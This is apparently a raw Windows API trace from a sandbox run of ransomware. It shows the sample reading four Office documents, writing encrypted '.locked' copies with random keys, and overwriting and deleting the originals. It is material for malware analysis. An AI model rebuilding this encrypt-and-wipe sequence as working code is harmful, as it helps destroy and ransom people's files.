	[0075.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.625] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.625] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.626] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0075.626] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8270 | out: pbBuffer=0x127a8270) returned 1
	[0075.626] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc301 | out: pbBuffer=0x123bc301) returned 1
	[0075.626] WriteFile (in: hFile=0xc4, lpBuffer=0x123e9000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123e9000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.628] SetEvent (hEvent=0xb4) returned 1
	[0075.628] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xf648, lpOverlapped=0x0) returned 1
	[0075.630] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xf648, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xf648, lpOverlapped=0x0) returned 1
	[0075.631] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.631] CloseHandle (hObject=0xc4) returned 1
	[0075.632] CloseHandle (hObject=0xc0) returned 1
	[0075.633] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0075.633] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.633] SetEvent (hEvent=0xb4) returned 1
	[0075.633] SetEvent (hEvent=0x80) returned 1
	[0075.633] SetEvent (hEvent=0x78) returned 1
	[0075.633] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.634] SetEvent (hEvent=0x78) returned 1
	[0075.634] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12506000*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12506000*, lpNumberOfCharsWritten=0x127ee83c*=0x58) returned 1
	[0075.635] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx")) returned 1
	[0075.654] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.655] SetEvent (hEvent=0xa8) returned 1
	[0075.655] SetEvent (hEvent=0x80) returned 1
	[0075.659] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.660] SetEvent (hEvent=0x80) returned 1
	[0075.660] SetEvent (hEvent=0x78) returned 1
	[0075.660] SetEvent (hEvent=0xb4) returned 1
	[0075.660] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.660] SetEvent (hEvent=0xb4) returned 1
	[0075.662] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.662] SetEvent (hEvent=0xb4) returned 1
	[0075.662] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.663] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.663] SetEvent (hEvent=0xb4) returned 1
	[0075.663] SetEvent (hEvent=0x78) returned 1
	[0075.663] SetEvent (hEvent=0x80) returned 1
	[0075.663] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.663] SetEvent (hEvent=0x80) returned 1
	[0075.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.664] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.664] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.680] CloseHandle (hObject=0xc0) returned 1
	[0075.689] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\Bqf77uf1A55AN8jmxE0.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\bqf77uf1a55an8jmxe0.docx")) returned 1
	[0075.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa64060, ftCreationTime.dwHighDateTime=0x1d4d415, ftLastAccessTime.dwLowDateTime=0xa998f260, ftLastAccessTime.dwHighDateTime=0x1d4d06e, ftLastWriteTime.dwLowDateTime=0xa998f260, ftLastWriteTime.dwHighDateTime=0x1d4d06e, nFileSizeHigh=0x0, nFileSizeLow=0xa798)) returned 1
	[0075.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.698] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.699] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.699] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.699] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8140 | out: pbBuffer=0x127a8140) returned 1
	[0075.699] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.699] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.701] SetEvent (hEvent=0x78) returned 1
	[0075.701] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xa798, lpOverlapped=0x0) returned 1
	[0075.703] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xa798, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xa798, lpOverlapped=0x0) returned 1
	[0075.715] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.715] CloseHandle (hObject=0xc4) returned 1
	[0075.716] CloseHandle (hObject=0xc0) returned 1
	[0075.717] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268e000*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268e000*, lpNumberOfCharsWritten=0x127ee83c*=0x49) returned 1
	[0075.718] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.720] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls")) returned 1
	[0075.725] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.725] SetEvent (hEvent=0xa8) returned 1
	[0075.725] SetEvent (hEvent=0x78) returned 1
	[0075.726] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.726] SetEvent (hEvent=0x78) returned 1
	[0075.726] SetEvent (hEvent=0x8c) returned 1
	[0075.726] SetEvent (hEvent=0xb4) returned 1
	[0075.726] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.727] SetEvent (hEvent=0xb4) returned 1
	[0075.743] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.743] SetEvent (hEvent=0xa8) returned 1
	[0075.744] SetEvent (hEvent=0xb4) returned 1
	[0075.745] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.745] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.746] SetEvent (hEvent=0xb4) returned 1
	[0075.746] SetEvent (hEvent=0x8c) returned 1
	[0075.746] SetEvent (hEvent=0x78) returned 1
	[0075.746] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.746] SetEvent (hEvent=0x78) returned 1
	[0075.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.747] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.748] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.764] CloseHandle (hObject=0xc0) returned 1
	[0075.772] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\LlnXf.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\llnxf.xls")) returned 1
	[0075.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63e681f0, ftCreationTime.dwHighDateTime=0x1d4d583, ftLastAccessTime.dwLowDateTime=0x999c57a0, ftLastAccessTime.dwHighDateTime=0x1d4d3d2, ftLastWriteTime.dwLowDateTime=0x999c57a0, ftLastWriteTime.dwHighDateTime=0x1d4d3d2, nFileSizeHigh=0x0, nFileSizeLow=0xe670)) returned 1
	[0075.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.781] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.782] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.782] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.782] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0075.782] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.782] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.784] SetEvent (hEvent=0x8c) returned 1
	[0075.784] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xe670, lpOverlapped=0x0) returned 1
	[0075.786] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xe670, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xe670, lpOverlapped=0x0) returned 1
	[0075.787] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.787] CloseHandle (hObject=0xc4) returned 1
	[0075.789] CloseHandle (hObject=0xc0) returned 1
	[0075.789] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.789] SetEvent (hEvent=0x8c) returned 1
	[0075.789] SetEvent (hEvent=0x78) returned 1
	[0075.789] SetEvent (hEvent=0xb4) returned 1
	[0075.789] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.790] SetEvent (hEvent=0xb4) returned 1
	[0075.790] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x126f4000*, nNumberOfCharsToWrite=0x58, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x126f4000*, lpNumberOfCharsWritten=0x127ee83c*=0x58) returned 1
	[0075.792] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt")) returned 1
	[0075.810] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.811] SetEvent (hEvent=0xa8) returned 1
	[0075.811] SetEvent (hEvent=0x78) returned 1
	[0075.815] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.815] SetEvent (hEvent=0x78) returned 1
	[0075.815] SetEvent (hEvent=0xb4) returned 1
	[0075.815] SetEvent (hEvent=0x8c) returned 1
	[0075.815] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.816] SetEvent (hEvent=0x8c) returned 1
	[0075.817] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.818] SetEvent (hEvent=0x8c) returned 1
	[0075.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.818] SetEvent (hEvent=0x8c) returned 1
	[0075.818] SetEvent (hEvent=0xb4) returned 1
	[0075.818] SetEvent (hEvent=0x78) returned 1
	[0075.818] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.819] SetEvent (hEvent=0x78) returned 1
	[0075.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.820] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.820] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.836] CloseHandle (hObject=0xc0) returned 1
	[0075.844] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\RuF fqkFm-urxCQfPr0I.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\ruf fqkfm-urxcqfpr0i.ppt")) returned 1
	[0075.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7868eb90, ftCreationTime.dwHighDateTime=0x1d4c5ed, ftLastAccessTime.dwLowDateTime=0x15f2ef70, ftLastAccessTime.dwHighDateTime=0x1d4d3de, ftLastWriteTime.dwLowDateTime=0x15f2ef70, ftLastWriteTime.dwHighDateTime=0x1d4d3de, nFileSizeHigh=0x0, nFileSizeLow=0x52e1)) returned 1
	[0075.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.853] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0075.854] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0075.854] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c300 | out: pbBuffer=0x1238c300) returned 1
	[0075.855] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0075.855] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0075.855] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0075.857] SetEvent (hEvent=0xb4) returned 1
	[0075.857] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x52e1, lpOverlapped=0x0) returned 1
	[0075.858] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x52e1, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x52e1, lpOverlapped=0x0) returned 1
	[0075.859] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0075.859] CloseHandle (hObject=0xc4) returned 1
	[0075.860] CloseHandle (hObject=0xc0) returned 1
	[0075.860] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.861] SetEvent (hEvent=0xb4) returned 1
	[0075.861] SetEvent (hEvent=0x78) returned 1
	[0075.861] SetEvent (hEvent=0x8c) returned 1
	[0075.861] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.861] SetEvent (hEvent=0xa8) returned 1
	[0075.861] SetEvent (hEvent=0x8c) returned 1
	[0075.861] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4b) returned 1
	[0075.863] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps")) returned 1
	[0075.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.881] SetEvent (hEvent=0xa8) returned 1
	[0075.881] SetEvent (hEvent=0x78) returned 1
	[0075.885] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.886] SetEvent (hEvent=0x78) returned 1
	[0075.886] SetEvent (hEvent=0x8c) returned 1
	[0075.886] SetEvent (hEvent=0xb4) returned 1
	[0075.886] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.886] SetEvent (hEvent=0xb4) returned 1
	[0075.888] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.888] SetEvent (hEvent=0xb4) returned 1
	[0075.888] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.888] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0075.888] SetEvent (hEvent=0xb4) returned 1
	[0075.889] SetEvent (hEvent=0x8c) returned 1
	[0075.889] SetEvent (hEvent=0x78) returned 1
	[0075.889] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0075.889] SetEvent (hEvent=0x78) returned 1
	[0075.889] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0075.890] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0075.890] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0075.906] CloseHandle (hObject=0xc0) returned 1
	[0075.913] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zZZC0cmO vW08IPLyF\\blGRvAO.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zzzc0cmo vw08iplyf\\blgrvao.pps")) returned 1
